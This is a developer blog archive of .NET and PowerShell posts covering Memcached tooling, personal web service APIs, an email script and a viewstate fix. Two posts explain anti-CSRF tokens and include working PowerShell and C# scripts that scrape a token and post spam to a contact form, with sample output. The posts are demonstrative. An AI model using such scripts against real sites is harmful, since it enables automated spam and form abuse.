Archive

Archive for the ‘.NET’ Category

Memcached On PowerShell

March 9th, 2010

Memcached has been around for a while, but it's still pretty neat.

Experiencing a bottleneck with your Object Relational Mappers, Services, Middleware, Database, or whatever? Then Memcached it!

Memcached was intially developed for LiveJournal by Danga Interactive in 2003, and is used by many large sites (YouTube, Amazon, Twitter, to name a few). Today, you can find a Memcached library for all your favourite languages (here's the list).

Now; cache testing is tough period, and testing Memcached (which is accessed through a telnet client) is even more difficult - it's fair to mention that there are a large number of wrappers for Memcached outside the .NET world, but I couldn't find one for that met my needs.

So... I wrote my own. :)

Introducing Memcached on Powershell

Sample usage and output

Loading the script (source can be found here)

PS C:\> .\memcached-on-powershell.ps1

Checking Memcached stats on an empty instance

PS C:\> memcached-stats 127.0.0.1 11211
Total items in cache:  0
No slabs found

Checking Memcached stats after items have been added to the cache

PS C:\> memcached-stats 127.0.0.1 11211
Total items in cache:  3
Stats for Slab:  1
         Key: 'resume-service:resume:adam-kahtava'
         Key: 'open-source-service:github:adamdotcom'
         Key: 'open-source-service:googlecode:adam.kahtava.com'

Clearing all Memcached items

PS C:\> clear-memcached-items 127.0.0.1 11211
Total items in cache:  0

Checking Memcached stats on a cleared instance

PS C:\> memcached-stats 127.0.0.1 11211
Total items in cache:  0
Stats for Slab:  1
         Empty

If your test obsessed then you might be interested in the Memcached tests.

As always feel free to contribute, view, or download the source here.

Author: Adam Kahtava Categories: .NET, PowerShell, Testing Tags:

Introducing my Open Source Projects Service: Grab Your Project Details From GitHub or Google Code

February 11th, 2010

Say hello to the newest member of my service family; the Open Source Project Service. This service lets me (and you too my friends) grab our project details from either Google Code, or GitHub.

How it works

If you have a project on GitHub or Google Code, you can retrieve your project details.

Single project host retrieval URI:

http://adam.kahtava.com/services/open-source/projects/{project-host}.{xml|json}?user={username}

Multiple project host retrieval URI:

http://adam.kahtava.com/services/open-source/projects.{xml|json}?project-host:username={project-host1:username1,project-host2:username2}

Example, requesting projects from Google Code in XML format:

Request: http://adam.kahtava.com/services/open-source/projects/googlecode.xml?user=adam.kahtava.com

Response:

<Projects xmlns="http://adam.kahtava.com/services/open-source" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
  <Project>
    <Description>The site source in use on Adam.Kahtava.com / AdamDotCom.com (http://adam.kahtava.com/)</Description>
    <LastMessage>More code coverage on controllers required!! :)</LastMessage>
    <LastModified>2010-02-26</LastModified>
    <Name>website</Name>
    <Url>http://code.google.com/p/adamdotcom-website</Url>
  </Project>
  ...
</Projects>

Example, requesting projects from GitHub in JSON format:

Request: http://adam.kahtava.com/services/open-source/projects/github.json?user=adamdotcom

Response:

[
  {
    "Description":"A collection of my etcetera, so forth, and so on. Contains a PowerShell script for Twitter, a programming exercise in Ruby, a programming exercise for Google done in JavaScript.",
    "LastMessage":"Bing-bing, changing filenames",
    "LastModified":"2009-06-08",
    "Name":"scripts",
    "Url":"http:\/\/github.com\/AdamDotCom\/scripts"
  },
  ...
]

Example, requesting projects from both GitHub and Google Code in a single request in XML form:

Request: http://adam.kahtava.com/services/open-source/projects.xml?project-host:username=github:adamdotcom,googlecode:adam.kahtava.com

Response:

<Projects xmlns="http://adam.kahtava.com/services/open-source" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
  <Project>
    <Description>Displays your public source code repositories from Google Code and GitHub.</Description>
    <LastMessage>Added http://code.google.com/p/adamdotcom-services/ link</LastMessage>
    <LastModified>2010-02-23</LastModified>
    <Name>project badge</Name>
    <Url>http://github.com/AdamDotCom/project-badge</Url>
  </Project>
  ...
  <Project>
    <Description>The site source in use on Adam.Kahtava.com / AdamDotCom.com (http://adam.kahtava.com/)</Description>
    <LastMessage>More code coverage on controllers required!! :)</LastMessage>
    <LastModified>2010-02-26</LastModified>
    <Name>website</Name>
    <Url>http://code.google.com/p/adamdotcom-website</Url>
  </Project>
  ...
</Projects>

And Now What?

View my sidebar widget that uses this service to display the latest updates from my source code repositories here.

Contribute, view, or download this openly available source code here.

Author: Adam Kahtava Categories: .NET, ADC Services, Open Source, RESTful, Services, WCF, XML Tags:

Sending Email With Attachments In PowerShell

January 19th, 2010

Here's an example on how to send email with attachments via PowerShell:

# A Mailer script that makes use of System.Net to send email with attachments
#
# Sample usage:
#  PS C:\> Send-Mail-With-Attachment 'email@domain.com' 'Hello world!' 'Filename.txt'

function global:Send-Mail-With-Attachment($to, $subject, $file){

  $filenameAndPath = (Resolve-Path .\$file).ToString()
  $from = 'Automated Powershell Mailer'

  [void][Reflection.Assembly]::LoadWithPartialName('System.Net') | out-null

  $message = New-Object System.Net.Mail.MailMessage($from, $to, $subject, $subject)
  $attachment = New-Object System.Net.Mail.Attachment($filenameAndPath, 'text/plain')
  $message.Attachments.Add($attachment)

  $smtpClient = New-Object System.Net.Mail.SmtpClient
  $smtpClient.host = 'mail.domain.com'
  $smtpClient.Send($message)
}

Contribute, view, or download the script here: Mailer.ps1

Author: Adam Kahtava Categories: .NET, PowerShell Tags:

Hacking Anti Cross-site Request Forgery Tokens (CSRF) With Powershell

December 16th, 2009

I ported the example of how to hack an Anti CRSF Token protected form - previously shown in my post What Are Anti Cross-site Request Forgery Tokens And What Are They Good For? - to PowerShell.

How to hack an Anti CRSF Token from PowerShell

function global:spam-adamdotcom(){

  # Load the assembly containing WebClientWithCookies and RegexUtilities
  [Reflection.Assembly]::LoadFile((Resolve-Path "AdamDotCom.WebClientWithCookies.dll")) | out-null
 
  # Load the assembly containing System.Web.HttpUtilitiy
  [void][Reflection.Assembly]::LoadWithPartialName("System.Web") | out-null 

  # create a new instance of the HTTP Web Client that supports cookies
  $webClient = New-Object AdamDotCom.Common.Service.Utilities.WebClientWithCookies

  # download the page that contains the Anti CRSF Token
  [void] $webClient.DownloadData("http://adam.kahtava.com/contact");

  # use a regular expression to grab the Anti CRSF Token
  #  - this is an MVC site so we're looking for a token named "__RequestVerificationToken_Lw__"
  $regex = "__RequestVerificationToken_Lw__=(?<CRSF_Token>[^;]+)"
  $match = [regex]::matches($webClient.ResponseHeaders["Set-Cookie"], $regex)[0]
  $antiCrsfToken = $match.Groups["CRSF_Token"].Captures[0].Value

  write-host "`nYour Anti CRSF Token is: " $antiCrsfToken

  # construct the message including the Anti CSRF Token
  $message = "__RequestVerificationToken=" + [System.Web.HttpUtility]::UrlEncode($antiCrsfToken) +
             "&amp;fromName=Johnathon Fink" +
             "&amp;fromAddress=prancesw@rmcres.com" +
             "&amp;subject=Call for your diploma now" +
             "&amp;body=Is your lack of a degree..."

  # send spam-spam-spam
  $webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  [void] $webClient.UploadData("http://adam.kahtava.com/contact/send", "POST",
                              ([System.Text.Encoding]::UTF8.GetBytes($message)));

  write-host "`nSuccess!!! Your spam has been sent.`n"
}

To run this script:

  1. Download the script
  2. Run PowerShell
  3. Load the script: .\Automated-AntiCSRF-Authentication-Script.ps1
  4. Start sending spam-spam-spam: PS > spam-adamdotcom

Here's the output as seen on my machine:

PS C:\> .\Automated-AntiCSRF-Authentication-Script.ps1
PS C:\> spam-adamdotcom

Your Anti CRSF Token is:  f54ZlHS3L1Xyl65dYd1uYYh90ygNKYmCswXJUnr0GYtgcrJdJILsQ2jyFotzc10L

Success!!! Your spam has been sent.

This example uses a derivation of the .NET Framework's Web Client class but with Cookies enabled, so it depends on the AdamDotCom.Common.Service.dll assembly (browse the source here). This dependency can be automatically resolved by issuing the download-client function that's also found within the PowerShell script.

Contribute, view, or download the openly available script here: Automated-AntiCSRF-Authentication-Script.ps1

Author: Adam Kahtava Categories: .NET, ASP.NET MVC, PowerShell Tags:

What Are Anti Cross-site Request Forgery Tokens And What Are They Good For?

November 25th, 2009

Anti Cross-site Request Forgery Tokens help prevent Cross-site Request Forgery (CSRF) also known as XSRF - pronounced "sea-surf" - and are usually implemented through a hidden HTML form element that contains a unique ID. This ID is passed along with subsequent requests for data and validated on the server. Anti CSRF Tokens try to ensure the identity of the user. They aren't a replacement for CAPTCHAs and don't prevent robots or web scrapers from manipulating your site - as you'll soon see.

Why use an Anti CRSF Token?

An overly simple example: If I didn't use an Anti Forgery Token on my contact page (see the source code: View or Controller), a Spammer could POST data directly against my contact form and potentially drown me with spam.

Here's a hypothetical form created by an evil Spammer. This form is hosted on http://spammer.com (not my site):

<form action="http://adam.kahtava.com/contact/send" method="POST">
  <input name="fromName" type="text" value="Johnathon Fink" />
  <input name="fromAddress" type="text" value="prancesw@rmcres.com" />
  <input name="subject" type="text" value="Call for your diploma now" />
  <textarea name="body">Is your lack of a degree...</textarea>
  ...
</form>

Again, note that the form action contains a reference to my site (even though it is hosted on another site).

Now, imagine this was a form prompting a user for their username and password. These credentials could be maliciously stored while the user successfully authenticates and is then redirected to the site they thought they were visiting - the way phishing usually works.

After adding an Anti CRSF Token to my contact form, a Spammer can't access my form remotely (at least not without the token). My contact form with it's Anti CRSF Token:

<form action="/contact/send" method="post" name="contact">
  <input name="__RequestVerificationToken" type="hidden" value="0sAqY1ZKb+Qia4..." />
  <input name="fromName" ...

Note the presence of the RequestVerificationToken.

Said Spammer, can't abuse my form without including the unique token. Technically speaking the Spammer can still abuse my form, but he now needs to:

This is pretty easy to do if you have an implementation of a HTTP Client library that supports cookies.

How to hack an Anti CRSF Token protected form

Using an extended instance of .NETs Web Client here's how our Spammer could circumvent my Anti CRSF Token.

The Spamming script by that wascaly Spammer:

// create a new HTTP Web Client that supports cookies
var webClient = new WebClientWithCookies();

//download my contact page containing the Anti CRSF Token
webClient = webClient.DownloadData("http://adam.kahtava.com/contact");

//parse out the Anti CRSF Token
var antiCrsfToken = RegexUtilities.GetTokenString(
                      new Regex("__RequestVerificationToken=(?<CRSF_Token>[^;]+)")
                      .Match(webClient.ResponseHeaders["Set-Cookie"]), "CRSF_Token");

//now the Spammer can drown me in spam-spam-spam
// by scraping my Anti CRSF Token and posting it into my form
webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
byte[] response = webClient.UploadData("http://adam.kahtava.com/contact/send", "POST",
                            Encoding.UTF8.GetBytes(
                              "__RequestVerificationToken=" + antiCrsfToken +
                              "&fromName=\"Johnathon Fink\"" +
                              "&fromAddress=\"prancesw@rmcres.com\"" +
                              "&subject=\"Call for your diploma now\"" +
                              "&body=\"Is your lack of a degree...\""));

The Spammer is back at their old tricks sending me more Spam. ARGH!

What's the use of an Anti CRSF Token?

Anti CRSF Tokens help prevent phishing attacks. They aren't meant to prevent spammers or Dr Robotnik and his robots (or web scrapers) from running automated scripts against your web application. Keep in mind, that if your site suffers from other XSS vulnerabilities (where the privacy of your cookies or sessions are compromised) then Anti CRSF Tokens don't work at all.

Read more about how Anti CRSF Tokens work here: Prevent Cross-Site Request Forgery (CSRF) using ASP.NET MVC’s AntiForgeryToken() helper or learn more about Cross-Site Request Forgery at: The Cross-Site Request Forgery (CSRF/XSRF) FAQ.

Author: Adam Kahtava Categories: .NET, ASP.NET MVC Tags:

How To Fix the: “Validation of viewstate MAC failed” Error (ASP.NET MVC)

November 23rd, 2009

I run my site on a Windows Shared Hosting account, and every time I updated the assemblies on my ASP.NET MVC site I'd be presented with the "Validation of viewstate MAC failed" error.

The "Validation of viewstate MAC failed" error only occurred when a page contained an HTML form element that made use of MVC's AntiForgeryToken. The quick fix was to delete my __RequestVerificationToken cookie, but the error would rear its ugly head the minute I touched my assemblies. The long term solution was to add a machineKey element to my Web.config file - asking visitors to delete a specific cookies when visiting my site was not a viable option.

How I fixed the "Validation of viewstate MAC failed" error on Shared Hosting:

  1. I used the <machineKey> Generator Tool to generate a machine key
  2. I added the machineKey element to my Web.config file

My Web.config now looks similar to this:

<?xml version="1.0"?>
<configuration>
  <system.web>
    <machineKey validationKey="..." decryptionKey="..." validation="SHA1" />

Anyhow, I hope this post helps anyone else that's encountering this error.

Oh wait, here's the error in its entirety for The Google Machine's crawlers:

Server Error in '/' Application.

Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Web.HttpException: Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.

Author: Adam Kahtava Categories: .NET, ASP.NET MVC Tags:

Site Update: New Resume, Contact, Reviews, and Reading Lists Sections

November 8th, 2009

This site now sports a ResumeContact MeReviews, and Reading Lists section.

If you're reading this from an RSS feed, then the changes looks like this:

Navigation changes on my site

These new sections make use of the services I created earlier - my resume content is pulled directly from LinkedIn via my Resume service, the Reading Lists and Reviews are being pulled from Amazon via my Amazon service, and I'm still working on a personalized greeting module which will make use of my Whois service.

Now, when I update my resume on LinkedIn, add a new item to my Amazon wishlist, or write a new Review on Amazon the content is updated within this site and indexed by the Google.

It took longer than expected to get these new pages up and running - mostly due to a couple false starts. You see, I'm running this site on Windows shared hosting which unfortunately doesn't give me many options - sure, sure, I could purchase another hosting account, but developers are like freak'n MAcGyver we like working within ridiculous constraints. It's all about the challenge! Anyways, I first tried using Ruby on Rails on shared hosting (fail), then tried using PHP on Trax (fail), and finally reverted to ASP.NET MVC. While ASP.NET MVC is heads and tails more fun than Web Forms / Classic ASP.NET, the impedance mismatch between strongly typed objects and web languages (JavaScript, CSS, XHTML) is still annoying. Thankfully the MVC Contrib project solves some of these pains, however it can't solve them all.

My next steps with this site are to: finish the greeting module, update the layout (drop the WordPress theme), and finish a Github / Google Code repo widget (kind of like this one) for the sidebar.

Contribute, view, or download the openly available source code here.

Introducing my Whois Service: Customize Your Site Content Based On Referrals, Location, and More

September 30th, 2009

Services-services-services! Enough already! Today I introduce my Whois and Enhanced Whois Web Service.

The Enhanced Whois web service lets me know where my visitor are geographically located, provides filtering capabilities, and can act on referrals. This will allow me (or you) to personalize site greetings, hide my email address (or content) based on the visitor, and provide a unique personal experience. Alternately I can use this service as a classic Whois service.

How it works.

We're not anonymous on the internet and IP addresses are what uniquely defines your internet existence. Whois services let us determine the registrant of internet resources.

Using my Whois service you can:

View your enhanced whois record.

By the visitor's IP address (your IP) URI:

http://adam.kahtava.com/services/whois/enhanced.{xml|json}

Example:

Request: http://adam.kahtava.com/services/whois/enhanced.xml

Response (using my IP):

<WhoisEnhancedRecord xmlns="http://adam.kahtava.com/services/whois" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
  <City>Calgary</City>
  <Country>Canada</Country>
  <FilterMatches i:nil="true"/>
  <FriendlyMatches i:nil="true"/>
  <IsFilterMatch>false</IsFilterMatch>
  <IsFriendly>false</IsFriendly>
  <Organization>Shaw Communications Inc.</Organization>
  <StateProvince>AB</StateProvince>
</WhoisEnhancedRecord>

By the visitor's IP address specifying a referrer, and a filter URI:

http://adam.kahtava.com/services/whois/enhanced.{xml|json}?filters={filters,filters,...}&referrer={referrer}

Example:

Request: http://adam.kahtava.com/services/whois/enhanced/xml?filters=CA&referrer=Twitter

Response (from an IP owned by Google, with a filter for California, and a referrer of Twitter specified):

<WhoisEnhancedRecord xmlns="http://adam.kahtava.com/services/whois" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
  <City>Mountain View</City>
  <Country>United states</Country>
  <FilterMatches>
    <string>StateProvince</string>
  </FilterMatches>
  <FriendlyMatches>
    <string>google</string>
    <string>twitter</string>
  </FriendlyMatches>
  <IsFilterMatch>true</IsFilterMatch>
  <IsFriendly>true</IsFriendly>
  <Organization>Google Inc.</Organization>
  <StateProvince>CA</StateProvince>
</WhoisEnhancedRecord>

View your classic Whois record.

By the visitor's IP address (your IP) URI:

http://adam.kahtava.com/services/whois.{xml|json}

Example:

Request: http://adam.kahtava.com/services/whois.xml

Response (using my IP):
<WhoisRecord xmlns="http://adam.kahtava.com/services/whois" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
  <DomainName>68.146.10.100</DomainName>
  <RegistryData>
  <AbuseContact> ... </AbuseContact>
  <AdministrativeContact i:nil="true"/>
  <BillingContact i:nil="true"/>
  <CreatedDate>2002-06-03</CreatedDate>
  <RawText> ... </RawText>
  <Registrant>
    <Address>Suite 800630 - 3rd Ave. SW</Address>
    <City>Calgary</City>
    <Country>CA</Country>
    <Name>Shaw Communications Inc.</Name>
    <PostalCode>T2P-4L4</PostalCode>
    <StateProv>AB</StateProv>
  </Registrant>
  ...
</WhoisRecord>

So... why is this useful?

This is the first step for this site's personalization - if I know where the user came from, where the user is geographically located, and have the capabilities to filter their Whois responses, then I can tailor my content to the user. For example: if someone from Google landed on my site I could mention that I'd love to work there and provide my email address and phone number, similarly if someone from Calgary landed on my site I could provide my public calendar of local events. The possibilities are endless.

This service will be wrapped by a JavaScript widget that will take care of the asynchronous service polling, but that sounds like another post.

Contribute, view, or download the openly available source code here.

Author: Adam Kahtava Categories: .NET, ADC Services, Open Source, RESTful, Services, WCF, XML Tags:

Introducing my LinkedIn Resume Service: View Your Resume

September 24th, 2009

In my last post I mentioned that I was creating a couple web services that would hopefully bring together my online portfolio. Today I introduce my LinkedIn Resume Web Service.

How it works.

If you have a resume on LinkedIn and you've added services@adamdotcom.com as a contact then you can:

View your resume - retrieve your Resume by first and last name.

By first and last name URI:

http://adam.kahtava.com/services/resume/linkedin/{firstName-lastName}.{xml|json}

Example:

Request: http://adam.kahtava.com/services/resume/linkedin/adam-kahtava.xml

Response:

<Resume xmlns="http://adam.kahtava.com/services/resume" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
  <Educations>
    <Education>
      <Certificate>Computer Programming and Analysis</Certificate>
      <Institute>Seneca College of Applied Arts and Technology</Institute>
    </Education>
    <Education>
      <Certificate>Bachelor of Science (Honours), Computer Science</Certificate>
      <Institute>Trent University</Institute>
    </Education>
  </Educations>
  <Positions>
    <Position>
      <Company>Corbis ...

Wow that was exciting, so now what?

Well.. Head on over to my resume page. My resume is being pulled from LinkedIn through this very service.

Contribute, view, or download the openly available source code here.

Author: Adam Kahtava Categories: .NET, ADC Services, Open Source, RESTful, Services, WCF, XML Tags:

Introducing my Amazon Web Service: Find Your Profile, View Your Wishlist or Reviews

September 15th, 2009

My online portfolio is increasingly scattered through the internet (reviews and wishlist are on Amazon, source code on github / Google Projects, resume on LinkedIn, and so on). I've been working on a couple services that will eventually pull my portfolio together while keeping a single point of reference, and... I'm sharing these services.

Introducing my Amazon Web Service.

How it works.

Basically if you have a Wishlist or a Review list on Amazon you can:

Discover your profile - retrieve your ListId (for WishLists) or CustomerId (for Reviews):

Discovery URI:

http://adam.kahtava.com/services/amazon/discover/user/{user-name}.{xml|json}

Example:

Request: http://adam.kahtava.com/services/amazon/discover/user/adam-kahtava.xml

Response:

<Profile xmlns="http://adam.kahtava.com/services/amazon" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
  <CustomerId>A2JM0EQJELFL69</CustomerId>
  <ListId>3JU6ASKNUS7B8</ListId>
</Profile>

View your Reviews - retrieve your Reviews by username or Amazon CustomerId.

By customerId URI:

http://adam.kahtava.com/services/amazon/reviews/id/{customerId}.{xml|json}

By username URI:

http://adam.kahtava.com/services/amazon/reviews/user/{user-name}.{xml|json}

Example:

Request: http://adam.kahtava.com/services/amazon/reviews/id/A2JM0EQJELFL69.xml

Response:

<Reviews xmlns="http://adam.kahtava.com/services/amazon" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
  <Review>
    <ASIN>0321125215</ASIN>
    <Authors>Eric Evans</Authors>
    <AuthorsMLA>Evans Eric.</AuthorsMLA>
    <Content>Through this book Evan's ...

View your Wishlist - view your Wishlist by username or Amazon ListId.

By listId URI:

http://adam.kahtava.com/services/amazon/wishlist/id/{listId}.{xml|json}

By username URI:

http://adam.kahtava.com/services/amazon/wishlist/user/{user-name}.{xml|json}

Example:

Request: http://adam.kahtava.com/services/amazon/wishlist/user/adam-kahtava.json

Response:

[{"ASIN":"0471467413","Authors":"Mostafa Abd-El-Barr, Hesham El-Rewini", ...

So now what?

Head on over to my Reviews and Reading List pages. These pages make use of the data from this service. I should also mention that, this service was built on a previous iteration of my Amazon Web Service (How To Display Your Amazon Reviews and Wish List Using Amazon’s Web Services).

Contribute, view, or download the openly available source code here.